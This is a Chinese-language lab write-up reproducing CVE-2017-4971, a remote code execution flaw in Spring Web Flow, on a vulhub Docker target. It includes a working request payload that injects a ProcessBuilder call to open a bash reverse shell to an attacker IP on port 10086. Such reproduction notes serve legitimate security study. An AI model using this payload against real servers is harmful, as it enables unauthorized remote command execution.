漏洞復現-CVE-2017-4971-Spring Web Flow 遠程代碼執行


 
 
 
 

0x00 實驗環境

攻擊機:Win 10

靶機也可作為攻擊機:Ubuntu18 (docker搭建的vulhub靶場)(兼顧反彈shell的攻擊機)

 

0x01 影響版本

Spring WebFlow 2.4.0 - 2.4.4

 

0x02 實驗步驟

首先,進入靶場環境,我們可以清晰地看到這個漏洞平台展示的,是我挖洞以來從來沒有遇見過的頁面:

 

這個漏洞復現很簡單,我先詳細的操作一遍。

首先,我們點擊該登錄頁面,然后進入登錄模塊。

 

 

如下圖,會出現很多個默認賬號與密碼,我們隨意挑選一個進行登錄操作:

 

 

 然后我們進入這個網址,盡管我並不知道為什么要進入這個網址,但是,應該可以肯定,漏洞的觸發點就在這個網址

http://your-ip/hotels/1

 

 我們點擊這個Book Hotel按鈕,然后進行到下一個頁面:

 

 隨意輸入一些合法的內容后,我們點擊Proceed然后會跳轉到Confirm頁面:

 

在點擊Confirm的時候進行抓包,此處存在命令執行,可反彈shell

使用如下反彈shell的Payload:

_eventId_confirm=&_csrf=57033da7-4538-42ec-9933-e12ac3e97db5&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub

 

此處監聽10086端口,然后,將IP換為你的遠程攻擊機IP

 

 

 

 

 放包后即可獲取到shell:

 

 成功getshell。

 

0x03 實驗原理

我也不是很懂,但是讀了一篇博客后,感覺清晰很多,總結一下,就是在訂閱圖書處,存在一個命令執行,直接調用了兩個函數,這兩個函數,一個是:addDefaultMappings ,一個是 addModelBindings

其中,直接控制field這個值的函數是addDefaultMappings,且未做過濾,而addModelBindings是直接獲取的java的一個配置文件,由配置文件來確定是否有 binder 節點,如果有,就無法觸發代碼執行。所以條件有兩個:

(1)binder節點為空;

(2) useSpringBeanBinding 默認值(false)未修改。

由此可實際在代碼中找到該頁面,節點為空(代替命令執行語句)+默認值為false(點擊Confirm按鈕)

 

 

 參考文章:https://paper.seebug.org/322/

如果我的理解不正確,歡迎指正一起學習!謝謝!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM